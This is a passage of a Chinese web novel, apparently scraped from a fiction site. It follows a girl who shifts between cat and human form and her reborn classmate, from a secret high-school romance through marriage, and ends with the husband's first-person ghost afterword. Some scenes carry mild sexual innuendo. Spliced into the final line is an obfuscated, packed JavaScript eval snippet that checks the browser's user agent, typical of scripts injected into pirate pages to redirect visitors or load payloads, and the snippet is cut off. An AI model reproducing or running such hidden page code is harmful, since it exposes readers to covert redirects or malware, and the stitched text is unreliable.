赶紧说：“去找一件你妈妈的裙子。” 周礼信这才回过神，慌忙转身跑了出去，没一会儿就拿着一件浅色连衣裙回来。 谢小猫快速穿好衣服，推开卧室门走出去，就看见周礼信正站在客厅中央，还是一副魂不守舍、没从震惊里缓过来的状态。 他抬头看见小猫，腿白白，头发披散着，小白猫现在已经变成中白猫了，体型柔美很多，变成人，怎么眉眼间竟还带着点动物般的气息，总觉得全身毛茸茸的。 周礼信慢慢走过来，手都不知道该往哪放，显得格外手足无措：“你……你到底怎么回事？你是人，还是猫啊？” 小猫说：“都是一个人啦，别分了。” 他虽然也有之前的记忆，十七岁的少年心性，让他面对突然变为人形的她时，还是忍不住害羞。 实在不敢现在抱着她，做些过分的动作，“小猫......以后我们怎么办呀？” 小猫没太琢磨透他话里的意思，抬眼望过去，声音轻轻软软的：“怎么了？” 周礼信耳尖有点红，语气里带着认真的纠结：“如果……如果以后我们在一起，会有物种隔离吗？” “......”小猫愣了一下，实事求是地摇头：“不知道。” 他问这个是什么意思？ 是真的在乎物种这件事，还是觉得自己像个妖怪？ 又或者，是在担心以后传宗接代的事，还是觉得她是妖怪，还是想着传宗接代害怕了？ 小猫很不开心。 周礼信又往前凑了半步，声音压得更低，带着点少年人特有的莽撞：“如果真的会隔离……要不，我们现在就……” 谢小猫的脸瞬间红透，连耳根都烧了起来，赶紧打断他：“高考后再说吧。” 说完不等他回应，转身就推开他家的门跑了。 周礼信妈妈有没有发现裙子少了一件，小猫不清楚，但她自己妈妈当晚就注意到了。 她问：“这是谁的衣服呀？还挺贵的。” 小猫说：“捡的。” “捡了就不要穿，谁知道有没有什么细菌，万一染上传染病怎么办？” 隔天小猫就把裙子送到干洗店清洗干净，找了个精致的包装袋装好，专程送回了周礼信家。 这次除了送回衣服，她准备立刻跑路。 两天没见，如隔三秋。 周礼信一打开门，第一句话就是：“我爸妈不在。” 小猫把袋子递给他，语气很坚定：“不在，我也不进去。” 说完转身就走。 周礼信赶紧追上去，到电梯口，声音放得又轻又柔：“我给你发的微信看了没？” 他发的哪里是微信，明明是一段接一段的小作文，比他们前世结婚后他啰嗦的劲头还足。 大约少年装不了那么多离奇的事，也装不下太多复杂的想法，他把自己所有的顾虑、期待，甚至想到的各种后果，都一股脑告诉了小猫。 昨天小猫就是读着读着睡着了，实在是太长了，密密麻麻的文字看得她眼皮都沉。 “你以后别写那么多。” “我控制不了，这一年已经压制了。” 小猫没有转身和他对视，叹了一口气说：“反正，你还是好好学习吧，我可不想耽误你。” 电梯门打开，周礼信却突然拉住她的手，不肯放她走。 他们就像两只偷偷躲起来的小动物，一边被学校不能早恋的规矩牢牢捆着，一边要压制着心底翻涌的情愫，还要顾及着年龄太小、不够成熟的现实。 几重压力压下来，连一次靠近都变得奢侈。 周礼信拉着她躲进了楼梯间，轻轻关上门，把她紧紧抱在怀里。 拥抱都透着紧张，外面传来一点脚步声，他们立刻松开，像做了坏事被抓包的孩子。 分开时，小猫特意多下了一层楼再坐电梯，周礼信也赶紧回了家，生怕被人撞见。 好学生就是这样，哪怕心里藏着跨越了前世今生的爱恨纠葛，也会被规矩和听话的本能压制住。 剩下是小心翼翼和藏不住的心跳。 更何况，小猫的爸爸本就严厉，他们更不敢有半点差池。 高三开学后，班级按照成绩重新排座位。 每次选座时，他们名词都差不多，却不敢坐同桌。 犹豫了三四次，最近的一次就是前后桌。 即便这样，他也不敢摸她的头发，装作若无其事、毫不在意的普通同学关系。 唯一能放纵的时候，就是小猫变成白猫的时候。 只有这时，周礼信才敢光明正大地把她搂在怀里，rua她的毛，亲她的小脑袋，甚至抱着她一起窝在被窝里睡觉。 一月里就这么几次，却足够缓解他满溢的相思。 她时而变成人形，时而还是白猫，早上就会从他家的门口溜走。 总之，周礼信盼望着她能成人形，这样还可以装作未知的抱着她的身体，也会喜欢小白猫，他能抱着她去逛街，也不需要在意老师和父母的眼光。 高三的压力还是让两个物种暂停了一段时间分泌多巴胺和偷摸的激情。 变成人形时，他们开始坐在一起解题，相互讨论不会的知识。 只是讨论着讨论着，桌子底下的手就会悄悄握在一起。 指尖传来的温度让两人心慌意乱，连呼吸都变得急促，即便这样，他们还是连亲一下对方的勇气都没有。 小猫有时候都忍不住赞叹，原来她的亡夫少年时这么守礼节，不愧是乡里乡亲都夸的好学生，好榜样啊。 高考结束那天晚上，所有同学回了学校，老师请大家吃了一顿饭。 饭后很多人回学校操场散步，那时高一高二的学生还没放暑假，操场上到处都是人，热闹得很。 他们见过有不少情侣在操场跑道外面亲吻，觉得刺激又大胆，令人心跳加速。 周礼信和谢小猫也想这样。 两个胆小的好学生，又想尝试又有点羞耻心。 问题是，在外人眼里，他们俩压根不熟，怎么才能避开同学，顺理成章地走在一起呢？ 一开始，他们还跟着关系亲近的同学一起走，故意隔着几步距离。 慢慢的，周礼信放慢了脚步，假装蹲下来系鞋带，和大部队拉开了距离。 紧接着，小猫也拿出手机，低着头装作看视频看得入迷，故意落在后面。 等周围的人走得差不多了，他们才偶遇般撞在一起，脚步放得更慢，混在来来往往的各年级同学里，悄悄把手牵在了一起。 最后，他们躲到了路灯的背阴处。 眼看着认识的同学都走远了，周礼信才轻轻把小猫搂进怀里，试探性的抱了抱，摇了摇，最后头歪着不知道怎么下嘴。 好在，管不了那么多，手掌轻轻掐着她的下巴让她仰起头，低头就吻了上去。 不能的急切与焦躁，咬的她猫叫一声。 两年了，这份心思压了整整两年，忍得他都快觉得自己要成和尚了，顾不了那么多。 小猫的嘴唇软软的，身体香香的，舌尖带着点淡淡的甜味。 他已经记不太清上辈子接吻是什么感觉了，只知道这辈子，抱着她、吻着她的这一刻，心跳快得像是要跳出胸膛，连空气里都飘着甜丝丝的、藏不住的欢喜。 他们避开了大部分的同学。 唯独忘了看后面的班主任。 总之，让四五十岁中年男人看到这场景，还缠绵悱恻难舍难分的景象，震惊的一句没说出来。 甚至下意识地想揉揉眼睛，怀疑自己是不是看错了。 他的爱徒啊，简直荒唐！ 谢小猫和周礼信大学一毕业就结了婚，消息传到同学群里，所有人都炸开了锅。 满是震惊与不解。 大家都记得，当年他俩高考虽去了同一座城市，却压根不在一所大学。 高中时也没见有什么特别亲近的苗头。 怎么就大学毕业就结婚呢？ 他们都很不解。 于是，就说起当年他们两个人在操场上抱在一起卿卿我我的场景。 谁能想到呢？ 高中毕业照时，同学们特意让他俩挨着坐，两人却互相谦让，怎么都不肯凑到一块儿。 高考结束后，那些明里暗里追求他俩的人，像围着糖转的蚂蚁。 当时的谢小猫和周礼信装作相互写毕业留念，都是“前程似锦”“乘舟侧畔千帆过”这类普通朋友的祝福。 始终表现一副疏离模样，他们估计在看笑话呢。 直到班主任在群里轻飘飘一句：“好学生就是演技好啊。” 周礼信在群里发了红包，全部人刷着一排排“喜”字。 十分热闹。 大学刚毕业，小猫先回到家里躺平。 谢小猫的父母早知道女儿不是能受朝九晚五苦的性子，打从她毕业就留了一大笔遗产，不仅买了房、配了车，还每月定期打钱，就盼着她能活得自在。 没想到，女婿更甚。 周礼信花费并不多，手里的钱全部给小猫吃喝玩乐。 此生最大的爱好，依然是投喂小猫。 他是爱工作、学习的类型，小猫是真的懒。 两个人只要在家里，一个人必定是在看书，另一个就是在地毯上滚来滚去。 变回白猫时就更爽了，能待在阳台上摇着尾巴晒太阳一下午 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他也不知道小猫喜不喜欢，反正每次亲吻她，赖在她身上时，并没有拒绝的反应。 久而久之，有点发怵了。 晚上吃完饭，周礼信压着她的身子，完全不前进，一遍遍地问：“你爱不爱我？” 小猫迷茫的眼睛眨巴眨巴看着他：“为什么要问这个？” “我不记得你说过。” 谢小猫：“我说过很多次。” 她数学很好，不是上辈子那样什么都不懂，都能数的清楚什么时候说的。 “我要的是正经情况下说的。” “你现在这样，一点都不正经。” 于是，两个人穿好衣服走到客厅，对视着。 周礼信深吸一口气，问的却是藏在心底的执念：“谢小猫，你以前爱周礼信吗？” 他纠结的从来不是这辈子，而是上辈子。 哎，这个呆傻的男人，问这样呆傻的话。 上辈子的他，英年早逝，做成鬼都没有得到安息，受尽了炼狱的折磨。 可她两辈子都是被人抛弃的小动物，该和谁说理呢？ 小猫眼眸看着他。 好一会儿说道：“小猫永远喜欢周礼信。” 她的声音轻轻的，划过他全身的神经。 周礼信瞬间红了眼，一把将她抱起来转了好大一圈，转着转着，怀里的大姑娘突然变成了一只大白猫，毛发光滑又柔软。 周礼信早已习以为常，抱着猫咪就往书房走。 反正今晚做不成别的，不如好好撸猫。 一边看书，一边顺着她的毛。 他一边看书，一边顺着猫毛，不知怎的突然情绪上头，手劲没控制住。 白猫“喵”地叫了一声，从桌子上跳下来。 她的眼神还是那么高冷，像上辈子一样，漠视他，鄙视他。 独自走到客厅的沙发上蜷缩起来。 这次比较离奇的是，第二天一大早，谢小猫还没变回人形。 周礼信抱着白猫，还像上学时那样，掐着它两条前腿左看右看：“怎么还不回来？” 不过，不着急，一晚上也不算太长。 等到中午他从外面回来，白猫依旧是白猫，还没变成他亲爱的老婆。 周礼信有些着急，蹲在地摊上对着一只猫自言自语道：“老婆，你快点变回来啊。” 怀里的猫眯着眼睛，没半点反应。 就这样等到第三天。 他终于着急了。 感觉快要急哭了，声音都带着颤：“你可别吓我呀......” 她是动物，能看得出来他的着急吗？ 想来想去，周礼信外出买了一盒红烧肉。 谢小猫被熟悉的味道吸引上头，很快蜷在沙发的动物变成了人。 周礼信立刻把肉放在一边，点着她的鼻子说：“好啊谢小猫，你真的学坏了，竟然故意整我呢？” 谢小猫指了指身上的空无一物的身体，装作委屈：“你拿件衣服过来。” “不拿，今天就不要穿了。” “现在是白天......” “白天怎么了？白天就不可以吗？”周礼信拉开她抱膝的胳膊，语气带着点无赖，“还害羞什么？都看过多少次了。” 小猫被他抱起来，双腿夹在他的腰上。 “我算看明白了，”周礼信低头蹭着她的耳朵，恍然大悟的说：“你高二第一次认出我时，就想跟我在一起了吧？不然怎么见了我就又舔又亲，蹭在我身上不挪窝，脖子、手指、脸颊，被你亲了一整年，小色猫。” 小猫承认上辈子和他在一起后，刚体会到相互喜欢的人结合的快乐，亡夫死了的确挺可惜。 可这次他过于羞涩，一点都不大胆追求。 她一个女孩子家总不能抛开高冷人设去追他吧？ 只能做猫时调戏他。 而且，这个秘密还只有她一个人知道，爽了一整年。 被这么揭穿她也不气恼，很大方的承认道：“以前的周礼信和现在的，我都喜欢。” 她看着他，眼神亮晶晶的。 周礼信一边脱衣服，一边笑着问：“喜欢什么？是不是喜欢天天和我做？” 谢小猫躺在床上，使劲点头，连声音都带着雀跃：“嗯嗯嗯嗯，做猫的时候也喜欢。” 她这样的人，许久不会说出一句甜言蜜语，随便这样一下把他颠的神魂颠倒。 23. 番外周礼信 全文完结 死后的第二天我就有了意识。 只是，一开始的意识飘忽不定，泡在深海里，窒息感裹着刺骨的冷。 大约一直挣扎，求生欲极强，死前最后一刻，周遭早已死寂，我却还攥着一线希望等救援。 可惜，这样的天气，这样的季节，这样的地理位置，本就只有死路一条。 我常想，上辈子做了什么恶毒的事让我这样痛苦的死去。 会游泳却冻死在水里。 真冷啊。 冷的出了幻觉，看到了小猫，我的妻子，她窝在客厅的沙发上，暖黄的灯光裹着她，不时往门口望去，像在等我回家。 我的妻子啊，来不及付出全部的真心就要离她而去。 所以死后第一时间便回了家。 母亲父亲焦急得等待大使馆的最后通知，她却坐在旁边安静的发呆。 我悬在她身边，既怕她难过到崩溃，又卑劣地想看看，她知道我死讯时会是什么模样。 和小猫相识的这些日子，总在患得患失。 朋友曾不解地问我，你的妻子除了年轻可爱，还有什么呢？ 没有学历，没有背景，还没有父母，像个野孩子。 连我非要结婚时，爸妈也说过类似的话。 可别人越这么说，我越心疼她 第一次见到她时，我竟有种似曾相识的熟悉，仿佛我们已经隔着几辈子见过面。 小猫是很好很好的女人。 她坚韧、勇敢，生命力蓬勃得惊人，像野草一样横生，让我顺遂的人生迷了双眼，想用一辈子去探究她。 从前，我喜欢数学题，可以一步步探究里面的公式与奥秘。 她，没有任何解题方案。 和她相处的每一分钟都充满新鲜感，连她的高冷与漠然，我都渐渐习惯，甚至觉得迷人。 我这一生都与人相处和善，自认为有很多朋友。 在她身上第一次感受到了独特、令人晕眩的气质。 与她在一起不是为了挑战难度，而是在我不多得的轨道中增添一道很大的弯。 这道弯里有心动，有牵挂，有我从未体会过的鲜活，让我心甘情愿沉溺。 这道弯真令人着迷！ 与她拥抱、亲吻，每一次的接触都会心跳不止。 就让我丧失理智吧，我愿意用一生埋单。 记得暗恋我多年的同学，在知道我结婚后发了条微信，她说：温文尔雅、按部就班的人，总会被外面的花红柳绿吸引。。 是啊，我被小猫吸引。 她却不是花红柳绿。 像深夜的月光，是淡雅，是内敛，是亲吻时，对我发出炙热的眼神。 我们相互喜欢，相互吸引。 这种吸引让我离开她一分钟都想念、不安。 从前，我是不信命的。 直到死了，我信了。 我信我和小猫早已相识几生，这辈子她就是来勾走我那颗平淡的心。 我信自己上辈子作恶多端，才会惩罚我，惩罚她。 对我最大的惩罚就是牵扯我的小猫。 她那么坚韧，却总过得辛苦，我死了，她一个人该怎么办？ 这样的焦虑与死不瞑目让我的魂魄迟迟不肯消散。 我死后，她表现的云淡风轻，不顾一切的离家出走，远离我们生活的地方，去喜欢各种各样的男人。 她还是那么爱吃。 却越吃越少。 她还是那么爱流浪，爱走路，却不似我去警局寻她时那样光彩照人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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